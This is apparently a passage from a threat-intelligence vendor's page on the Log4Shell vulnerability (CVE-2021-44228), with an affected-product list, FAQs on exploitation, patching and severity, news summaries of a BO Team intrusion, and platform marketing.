SiemensSentron Powermanagerapplication
SiemensSiguard Dsaapplication
SiemensSipass Integratedapplication
SiemensSiveillance Commandapplication
SiemensSiveillance Control Proapplication
SiemensSiveillance Identityapplication
SiemensSiveillance Vantageapplication
SiemensSiveillance Viewpointapplication
SiemensSolid Edge Cam Proapplication
SiemensSolid Edge Harness Designapplication
SiemensSpectrum Power 4application
SiemensSpectrum Power 7application
SiemensSppa-T3000 Ses3000 Firmwareoperating_system
SiemensTeamcenterapplication
SiemensVesysapplication
SiemensXpedition Enterpriseapplication
SiemensXpedition Package Integratorapplication
SnowsoftwareSnow Commanderapplication
SnowsoftwareVm Access Proxyapplication
SonicwallEmail Securityapplication
FAQ

Frequently asked questions

Is CVE-2021-44228 exploited in the wild?
Yes. As of Nov 16, 2026, Mallory has reports of exploitation in the wild, and CISA added it to KEV on Dec 10, 2021.
Is there a public exploit for CVE-2021-44228?
Yes. Mallory tracks 81 public exploits or proofs of concept for CVE-2021-44228, the earliest disclosed Dec 9, 2021.
Is there a patch for CVE-2021-44228?
Upgrade affected applications and all direct, transitive, shaded, and bundled log4j-core dependencies to a current supported security release compatible with the runtime, then rebuild and redeploy affected artifacts. For third-party appliances and commercial software, apply vendor-supported product fixes rather than independently replacing libraries unless explicitly instructed.
What products are affected by CVE-2021-44228?
Apache Software Foundation Log4j, Siemens 6bk1602-0aa12-0tp0 Firmware, Siemens 6bk1602-0aa22-0tp0 Firmware, Siemens 6bk1602-0aa32-0tp0 Firmware, Siemens 6bk1602-0aa42-0tp0 Firmware, and at least 140 more.
How severe is CVE-2021-44228?
CVE-2021-44228 has a CVSS v3.1 score of 10.0 (Critical) and an EPSS score of 100.0% (100th percentile) as of Nov 16, 2026.
Activity feed

Recent activity

727 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
sh3llc0d3 blogNews · Nov 16, 2026BO Team Breaches Industrial Code-Signing | ShellcodeBO Team exploited Log4Shell on an unpatched internal VMware vCenter 7.0.3 appliance after gaining an exposed SSH foothold. Exploitation provided root access and enabled lateral movement through the developer's infrastructure, ultimately reaching build pipelines and its code-signing server. Investigators found no confirmation that malicious signed binaries reached customers or that non-recoverable private keys were permanently exfiltrated.Read more ↗the hacker newsNews · Nov 16, 2026BO Team Exploits Log4Shell in VMware vCenter, Compromises Russian Firm's Code-Signing ServerBO Team exploited Log4Shell in a Russian software developer's VMware vCenter 7.0.3 server to obtain a remote command line with root privileges. The attackers subsequently installed a persistent backdoor and expanded access across the organization's infrastructure, including development and code-signing systems, in a suspected preparation for a supply-chain attack.Read more ↗phoenix security blogNews · Nov 13, 2026Vulnerability Triage: Threat Intel Is Not Enough - Phoenix SecurityA remote code execution vulnerability in Apache Log4j 2, listed in CISA’s Known Exploited Vulnerabilities catalog in December 2021. The article uses it as an illustrative example of why vulnerability intelligence must be combined with organization-specific findings, ownership, and review status.Read more ↗xakepNews · Nov 10, 2026Хакеры несколько месяцев контролировали инфраструктуру российского разработчика ПО - ХакерLog4Shell was the suspected exploitation route used by BO Team to obtain root access to the victim's VMware vCenter server. The attackers subsequently stole a private SSH key and accessed hypervisors and virtual machines, enabling further compromise. The exploitation assessment is circumstantial rather than definitively confirmed.Read more ↗
+138 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence113Every report linking this CVE to a named adversary.
Associated malware299Malware families linked to this CVE, with evidence and IOCs.
Detection signatures126YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity52Community discussion across Reddit, Mastodon, and other social sources.